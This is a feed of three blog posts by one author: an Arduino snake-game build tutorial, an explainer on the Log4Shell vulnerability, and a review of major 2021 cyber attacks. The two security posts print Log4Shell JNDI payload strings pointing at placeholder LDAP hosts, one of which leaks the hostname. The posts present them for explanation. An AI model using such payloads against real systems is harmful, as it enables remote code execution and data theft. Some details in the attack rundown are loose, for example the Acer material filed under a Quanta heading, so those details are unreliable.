DEV Community: Jaiyank S.

I Made the Snake Game on the Arduino UNO R4 LED Matrix with a Joystick Controller

Jaiyank S. — Mon, 04 Dec 2023 11:51:47 +0000

My friend (Eeman Majumder) impulsively bought the new Arduino UNO R4 WIFI while we were hosting him at our place for a 2-week dev sprint. The day it came, we were thinking of fun things to do with it, and luckily we had a dual-axis joystick controller lying around the house. I put two and two together and built the popular retro snake game on the LED matrix! 🐍

da setup 🏗️

Let’s get some setup out of the way so we can get to the fun stuff ASAP!

First we get the environment and make the electrical connections, for this:

Either install the Arduino IDE OR use the cloud editor.
Get a dual-axis joystick module and connect the Arduino's 5V, GND, A0, A1, and D13 to the module's 5V, GND, URX, URY, and SW respectively.

SW is connected to D2 here, but I prefer the D13 so it doesn't obstruct the LED matrix screen

In the code, we define some constants, variables and objects that will set up the game. This includes some library imports, our input pins, the LED matrix grid and its size, the food object, the snake object and its speed, length, and direction, and finally the current and high score.

main game logic 🧠

Now that the setup is done, it’s time to implement the core game logic. Yay!

We have to do a couple of things here — handle the joystick, move the snake, check for any collisions, update the screen, generate new food and add a small delay. The flowchart explains this whole process.

Take input from joystick

We constantly input the analog values (0 to 1024) from the joystick, normalize them to -512 to 512 in both axes (this is optional, but it just makes things clearer), then map the value to its corresponding direction.

We also disallow any move from the joystick that is directly opposite of the current direction while the game is running. This is because the snake can’t go backwards — which will be considered an illegal move and end the game.

void handleJoystick() {
  xValue = analogRead(joystickXPin);
  yValue = analogRead(joystickYPin);
  swState = not digitalRead(joystickSwPin);

  xMap = map(xValue, 0, 1023, -512, 512);
  yMap = map(yValue, 0, 1023, 512, -512);

  // disallow moving in the opposite direction of current direction while the game is running
  if (xMap <= 512 && xMap >= 10 && yMap <= 511 && yMap >= -511) {
    if ((!isGameOver && directionPrev != 3) || isGameOver) { direction = 1; } // Right 
  } else if (xMap >= -512 && xMap <= -10 && yMap <= 511 && yMap >= -511) {
    if ((!isGameOver && directionPrev != 1) || isGameOver) { direction = 3; } // Left
  } else if (yMap <= 512 && yMap >= 10 && xMap <= 511 && xMap >= -511) {
    if ((!isGameOver && directionPrev != 4) || isGameOver) { direction = 2; } // Up
  } else if (yMap >= -512 && yMap <= -10 && xMap <= 511 && xMap >= -511) {
    if ((!isGameOver && directionPrev != 2) || isGameOver) { direction = 4; } // Down
  }

  if (!isGameOver) {
    directionPrev = direction;
  }
}

Move the snake

We have to actually make the snake move, it won’t move on its own. We shift the body of the snake (which is essentially just an array of points having XY coordinates) forward by updating the coordinates of all the points, starting from the end (tail), to the coordinates of the next point.

Given the current direction, we shift the head +1 in that direction. In case it is at the wall, we wrap it around to the other side. We could disable this to make the game harder but for a pleasurable playing experience, I kept it.

void moveSnake() {
  // Move the body of the snake
  for (int i = snakeLength - 1; i > 0; i--) {
    snake[i] = snake[i - 1];
  }

  // Move the head of the snake
  switch (direction) {
    case 1:  // Right
      snake[0].x = (snake[0].x + 1) % matrixSizeX;
      break;
    case 2:  // Up
      snake[0].y = (snake[0].y - 1 + matrixSizeY) % matrixSizeY;
      break;
    case 3:  // Left
      snake[0].x = (snake[0].x - 1 + matrixSizeX) % matrixSizeX;
      break;
    case 4:  // Down
      snake[0].y = (snake[0].y + 1) % matrixSizeY;
      break;
  }
}

Check if a collision occurs

We have to check two collisions — one with self and one with the food.

If the snake collides with itself, we end the game. We do this by checking if the head’s position is equal to any of the points in the body’s position.

If it collides with the food, we increment the snake’s length and the score and decrement the current speed by 5 if it’s still above the max speed.

void checkCollisions() {
  // Check for collision with self
  for (int i = 1; i < snakeLength; i++) {
    if (snake[0].x == snake[i].x && snake[0].y == snake[i].y) {
      // Game over, restart
      gameOver();
    }
  }

  // Check for collision with food
  if (snake[0].x == food.x && snake[0].y == food.y) {
    snakeLength++;
    score++;

    generateFood();

    if (currentSpeed > maxSpeed) {
      currentSpeed -= 5;
    }
  }
}

Generate new food

If the snake eats the food, we will have to put new food on the grid, right? This is simple — we update the food’s position to a random point in the grid, make sure that it doesn’t overlap with the snake, and update the matrix.

void generateFood() {
  food.x = random(matrixSizeX);
  food.y = random(matrixSizeY);

  // Make sure the food does not overlap with the snake
  for (int i = 0; i < snakeLength; i++) {
    if (food.x == snake[i].x && food.y == snake[i].y) {
      generateFood();
      return;
    }
  }

  grid[food.y][food.x] = 1;
  matrix.renderBitmap(grid, matrixSizeY, matrixSizeX);
}

Update the LED matrix

To show all these changes above, we reset our grid (meaning switch of all LEDs on the matrix), then update the grid based on the snake and food positions, and then render the new grid on the LED matrix.

void updateMatrix() {
  resetGrid();

  for (int i = 0; i < snakeLength; i++) {
    grid[snake[i].y][snake[i].x] = 1;
  }
  grid[food.y][food.x] = 1;
  matrix.renderBitmap(grid, matrixSizeY, matrixSizeX);
}

Game Over

Finally, when the snake bites itself, the game gets over.

Here, we check if we made the high score, play the “Game Over” text on the LED matrix, display the score for a few seconds, and then ask the player if they want to continue playing the game.

void gameOver() {
  isGameOver = true;
  resetGrid();

  if (score >= highScore) {
    highScore = score;
  }

  printText("    Game Over    ", 35);
  for (int i = 0; i < 4; i++) {
    displayScore(true, false);
  }

  continuePlaying();
  initializeGame();
}

finishing touches 🪄

At this point, our game is functional. We could stop here if we want and call it a day. Or, we could go the extra mile and add some finishing touches for a polished look and an overall satisfying playing experience. For this, I added some aesthetic additions and some qualify-of-life improvements.

Firstly, an ascii art intro animation when the game loads. It says SNAKE-R4.

I ended up designing a numbers font in Arduino’s LED Matrix editor for displaying the score, because the fonts in the ArduinoGraphics library did not quite align in the center of the LED matrix and it really bugged me.

Then, I added the option to continue playing by selecting Y/N with the joystick. Again, the frames for the animation were designed in the LED Matrix editor and included in the code using the .h files provided by it.

All we have to do in the code is to render the appropriate frame based on the joystick direction (left or right) and play the yes_option or no_option animation sequence when one of them gets selected.

void continuePlaying() {
  matrix.loadSequence(continue_playing);
  matrix.renderFrame(2);
  String selectedOption = "yes";

  while (!swState) {
    handleJoystick();
    if (direction == 3) {
      matrix.renderFrame(0);
      selectedOption = "yes";
    } else if (direction == 1) {
      matrix.renderFrame(1);
      selectedOption = "no";
    }
    delay(100);
  }

  if (selectedOption == "no") {
    matrix.loadSequence(no_option);
    matrix.play();
    delay(1500);
    printText("    thx for playing!        made by siphyshu    ", 35);
    while (true) {
      displayScore(false, true);
    }
  } else if (selectedOption == "yes") {
    matrix.loadSequence(yes_option);
    matrix.play();
    delay(1500);
  }
}

Finally, if the player chooses no, the game ends with a credit sequence and the high-score is shown on the screen permanently in a never-ending loop.

Tada! 🎉 With these final touches, we are done with Snake-R4. I had a lot of fun building (and playing! :D) this project, and if you did too while reading about it, a follow would be amazing!

View the repository: https://github.com/siphyshu/snake-R4

Follow me on Twitter/X for behind-the-scenes:

// Detect dark theme var iframe = document.getElementById('tweet-1731547660904014015-981'); if (document.body.className.includes('dark-theme')) { iframe.src = "https://platform.twitter.com/embed/Tweet.html?id=1731547660904014015&theme=dark" }

Stay safe, have fun, and always be building! 🫂️

How an overlook in development wreaked havoc on the internet - The Log4Shell Vulnerability

Jaiyank S. — Mon, 04 Apr 2022 10:16:06 +0000

Java is a funny language. The people who use it can often be found ranting about it on reddit. It is heavily criticized for its design choices over the years and it's no surprise that developers who code in it are bound to give way to serious security vulnerabilities, if not too careful.

One such is the recent vulnerability in Log4j, also nicknamed as Log4Shell - this particular vulnerability was so severe and the extent of which was so huge that it wreaked havoc on the internet and ruined Christmas for almost everybody that was responsible to fix the mess. In this blog, we'll be understanding the why and the how that led to this chaos.

What is Log4j?

Log4j is one of several java-based logging frameworks and comes under Apache's Logging Services. Being open-sourced, it is and has been maintained by contributors from all over the globe since many years (more on this later).

It logs events - from errors to diagnostic messages and more, so that system administrators and developers can look at them later. For example, when you try to login on a website and it shows an error message like incorrect password, log4j can be used to record that.

Some Technical Jargon

Let's understand some technical terms related to log4shell before we move forward and dive deep into it. This will make concepts clearer.

Java Naming and Directory Interface (JNDI)

Java has a lookup feature called JNDI, which is an interface that allows java applications to access naming and directory services. It has an API and a SPI. Different naming and directory services like LDAP, DNS, and RMI connect to this JNDI SPI which is then accessed by the java application using the JNDI API, the diagram below illustrates this.

So, this is basically like asking your friend to get you something from someone in a different hostel room. You tell your friend the path (the protocol), the room number and the item (the file path) you need to get. Here you act as the java application, your friend acts as the API and SPI.

Remote-Code Execution (RCE)

Remote-Code Execution, or RCE for short, is a class of vulnerabilities which allows an attacker to execute arbitrary code on a remote device. These RCE vulnerabilities can be a result of a variety of things ranging from Injection attacks (SQLi, HTML injection, PHP injection, etc.), Cross-Site Scripting, De-Serialization attacks to even Business-Logic flaws.

Say for example, you use a certain software for taking notes. A malicious* hacker finds a vulnerability that allows them to achieve RCE. The implication of this is that they can run any command they want on your computer! Using the RCE exploit, the attacker can launch a ransomware attack against you and lock your data, they can spy on you or steal your passwords or even make you part of a secret botnet!

Every time you use a piece of software you're essentially putting incredible trust in the security and integrity of the said software. Scary isn't it?

*A small note about "hackers"

The term "hacker" is often misrepresented due to pop culture and ignorant news reporting - not all hackers wear hoodies, sit in a dark room with green text flashing before their eyes! In fact, the term "hacker", in its right sense, is used for an individual who uses their extraordinary skills in computer, networking or other domains to overcome technical limitations and problems.

Not all hackers are bad and malicious! There are indeed hackers who use there skills to do illegal activities, but it's only a subset of the whole cybersecurity community - contrary to popular belief, majority of hackers are actually dedicated to make the internet more secure!

How does Log4Shell actually work?

We now know about Log4j, JNDI and RCEs, let's discuss how this relates to the Log4Shell vulnerability. Log4J allows JNDI lookups to enhance the quality of logs. A use-case of that might be logging the hostname or the IP address with the diagnostic message.

For example, ${jndi:ldap://example.com/file} asks JNDI to use the LDAP protocol to get the specified file hosted on the LDAP server. JNDI returns the object to log4j and it stores it. Now you might already know where this is going - Untrusted JNDI lookups to attacker-controlled servers!!!

An attacker could submit a string specifically crafted to tell log4j to use JNDI and retrieve a malicious payload hosted on the attacker's server. Log4j will store the object and Java will execute it resulting in RCE!

Initial Detection and The Impact

Believe it or not, this vulnerability was discovered on a Minecraft server! So, all this chaos was a result of just some gamers messing around - internet is a gift that keeps on giving!

The impact of this is HUGE. Every single service that uses Java and Log4j for their logging purposes might be vulnerable to log4shell. iPhone, Steam, Minecraft, Twitter, Google, Tesla, Microsoft were just among some of the biggest vendors affected by this.

Although a patch was issued, the impact doesn't stop here. There might still be hundreds of thousands of websites affected by this and they won't even know about it until much later. It is estimated we'll see the implications of this for years to come.

On March 22 2022, Okta was hacked where it is believed to be the work of LAPSUS$ hacker group. It is being speculated that the hack was a result of an earlier log4shell exploitation in Okta's infrastructure.

What led to this?

Looking at all of this, a question arises - How did all of this even happen? What led to this? Didn't anybody catch it earlier? The thing is that Log4j is open-source. Lots of contributors spend their time and effort in contributing to this and hence, this type of overlook in development is perfectly normal and possible.

The surprising part though, is that this vulnerability has existed since 2013! This means for almost 9 years it went undetected even after several researchers warned about untrusted JNDI lookups and attack vectors involving it. As a community, we need to be proactive in researching and mitigating issues like these before they pop up.

Closing Remarks

The likes of Log4Shell RCE vulnerabilities are said to be found once in a decade - and we saw this type of damage done by EternalBlue used during the WannaCry ransomware attacks. It poses a question - What's waiting for us in the future and How many more vulnerabilities like these are still out there, just waiting for another gamer to stumble upon them?

A rundown of the biggest cyber attacks & breaches in 2021 - and what lies ahead for us

Jaiyank S. — Thu, 31 Mar 2022 17:17:10 +0000

2021 was a rollercoaster ride for everyone, not only in the real world but also the virtual one - the internet. From sophisticated attacks on supposedly "secure" systems to malicious hacker groups targeting companies with ransomware, we witnessed it all.

Starting with the unfolding of the SolarWinds supply-chain attack and ending the year with the log4j 0day fiasco, there was a LOT that happened in between. Here's the timeline of what I think were the most impactful and possibly the worst cyber attacks, events and breaches of the year.

Timeline of Cyber Attacks, Events and Breaches in 2021

Supply-Chain Attacks

Supply Chain Attacks are a sophisticated way of breaking into a seemingly secure infrastructure. They prey on trust systems between two parties. Instead of directly exploiting a target, they involve compromising a service that the target uses and then using that to get into the original target.

SolarWinds

SolarWinds hack was the work of a Russian hacker group allegedly named "Nobelium". This was quite a sophisticated attack involving exploiting a supply chain. The attackers were able to compromise SolarWinds' infrastructure and pass down trojanized software in form of updates to users through Orion - Solarwinds' monitoring and management platform.

Although technically, the SolarWinds attack was discovered in early December, much of its developments continued in and after January. In a report by SolarWinds, they stated a majority of Fortune 500 companies, U.S military departments, and even the Pentagon were breached due to this.

Kaseya

The infamous REvil hacker group attacked Kaseya with yet another supply-chain ransomware attack in July. They leveraged a 0day authentication bypass vulnerability in Kaseya's VSA web interface. Through that, they achieved RCE and similar to SolarWinds, pushed out a fake update dubbed as "Kaseya VSA Agent Hot-Fix" to all VSAs vendors and MSPs. Sophos, one of the vendors that were affected, put out a technical analysis on their blog.

In a report published by Kaseya, they said,

fewer than 60 Kaseya customers, all of which were using the VSA on-premises product, who was directly compromised by this attack. … we understand the total impact thus far has been to fewer than 1,500 downstream businesses.

The REvil Ransomwares

A hacker group named REvil was in the highlights all throughout the year. Popular for its ransomware attacks on high-profile targets such as Acer, Apple, JBS Foods, a U.S Nuclear Contractor "Sol Oriens", the Kaseya supply-chain ransomware and countless others - it caused an upward of hundreds of millions of dollars worth of estimated damage with over 7000 victims hit.

A few days ago of writing this article, 14 of REvil's members were arrested in an inter-country operation. This is surprising as Russia is known for protecting and largely ignoring any illegal hacking activity as long as it doesn't affect their country. Seytonic's video explains how it all went down.

Quanta and Apple

The Taiwanese electronics and computer giant was hit by ransomware in march where REvil demanded, in what is known as the biggest ransomware to date, a whopping $50m. Though Acer agreed to pay 1/5th of the ransom, REvil rejected it. It is unclear what followed after that as Acer refused to comment further citing security concerns. Later that year, Acer India was hacked by a malicious hacker group "Desorden", claiming to have stolen 60GB worth of sensitive files from Acer servers, compromising the details of millions of its customers and the login credentials of around 3000 vendors.

Shortly after, REvil hacked Quanta - which is one of the manufacturers for Apple and threatened to release stolen data in the failure of paying the $50m ransom. After quanta refused to pay, REvil shifted its focus to Apple instead. REvil leaked a dozen schematics as proof on its dark web website just before Apple's Spring Loaded event to increase pressure on the same.

JBS Foods and Sol Oriens

In June, REvil attacked JBS Foods - the world's largest meat processing company, with ransomware as well. JBS Foods reportedly paid a ransom of $11m in order to resolve the attack and decrypt its files. With no intentions of stopping with JBS Foods, later that month REvil attacked a U.S Nuclear Weapons Contractor, Sol Oriens. Data containing invoices for NNSA contracts, descriptions of research and development projects and even the social security numbers of all Sol Oriens employees was stolen.

Mess-Ups in Microsoft

Microsoft Exchange Exploit

Four 0day exploits were found in the Microsoft Exchange servers triggering a series of attacks and breaches for the first three months of the year. Almost 250,000 servers around the globe were estimated to be vulnerable as a result of this attack. In March, Microsoft finally addressed the issue and released a patch for it. The backdoors installed still remained after patching, and thus many servers were infected with ransomware.

Microsoft PrintNightmare

Continuing the nightmares for Microsoft, a new vulnerability nicknamed "PrintNightmare" (CVE-2021-34527) was found in Windows' Print spooler service just before July. According to Microsoft's official report - "An attacker who successfully exploited this vulnerability could run arbitrary code with SYSTEM privileges. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights."

Data Leaks and Breaches

2021 was big on data leaks as well. Social Media sites, Facebook and LinkedIn saw its data leaked and up for sale on the dark web. Breaches were also reported in CoinBase, Accenture, Pixlr and even the Indian police.

Facebook and Linkedin

The tech giant, Facebook, came under the crosshairs in April when the personal data of over 566 million users was published on a forum. It was assumed that the data leaked due to a vulnerability in Facebook from 2019.

Later in June, the data of 700 million LinkedIn users were put up for sale in a hacking forum on the dark web. Although it didn't include any private data and was a result of OSINT using the API, It still meant a great deal.

Indian Data Breaches

The month of January ended with a leak of the Indian Police Exam database. Records containing sensitive and PII of ~500,000 people were leaked on Raidforums. Following month, another government company, Air India suffered a massive security breach that exposed the names, addresses, contact information, D.O.B, credit card data, etc of its passengers.

Indian Police Exam Database Leak Sample

Colonial Pipeline

On May 7, the colonial pipeline was shut down for the first time in 57 years. Due to a single leaked password of a VPN account, the Russia-based hacker group DarkSide was able to hack into the Colonial infrastructure and infect it with ransomware. This was a scary attack as it highlighted how a digital hack can have very real physical consequences. For 5 days, the biggest gasoline pipeline of the U.S. stayed shut which created a fuel shortage and price hike. DarkSide reportedly stole 100GB of confidential data and ultimately, Colonial gave in to the demands and paid a $4.4m ransom.

Log4Shell 0-Day

The year ended with the discovery of what some call "the vulnerability of a decade" - the Log4Shell 0-day. This was a vulnerability in the popular java logging framework, log4j 2. It allowed for Remote Code Execution on any service running this logger. The part that made it so severe was the simplicity of it all. A simple payload like the one below demonstrates how easy it is to execute commands on a vulnerable system using this.

${jndi:ldap://x${hostName}.redacted.com/a}

The impact of this is huge. Imagine every single service running this seemingly innocent logging framework vulnerable to RCE. It wreaked havoc for the first two weeks in the cybersec community with devs tirelessly working to patch up their systems while hackers were actively exploiting it. The scary part is that this vulnerability has existed since 2013! This means for almost 9 years it went undetected even after several researchers warned about untrusted JNDI lookups and attack vectors involving it.

What Lies Ahead?

The first month of 2022 has barely finished, and we have already seen various cyber-attacks and vulnerabilities popping up.

Crypto.com hacked due to an authentication bypass vulnerability leading to theft of $30m worth of cryptocurrency from 483 wallets.
Ransomwares such as Qlocker, STOP, and Chaos are on the rise again.
A hacker group, allegedly of Indian origins, named "DoNot" is targeting Government and Military organizations in South Asia. Read here.
Secret backdoors installed in WordPress plugins and themes are now being used for executing yet more supply-chain attacks.

Let's hope the rest of the year passes rather peacefully.

With that we come to an end, hope you learnt something from this article. I am Jaiyank Saxena aka Siphyshu, an engineering student and a "CyberSec Enthu Cutlet". Connect with me on my socials through here! Lastly, to be part of a growing cybersec community, do join my discord server.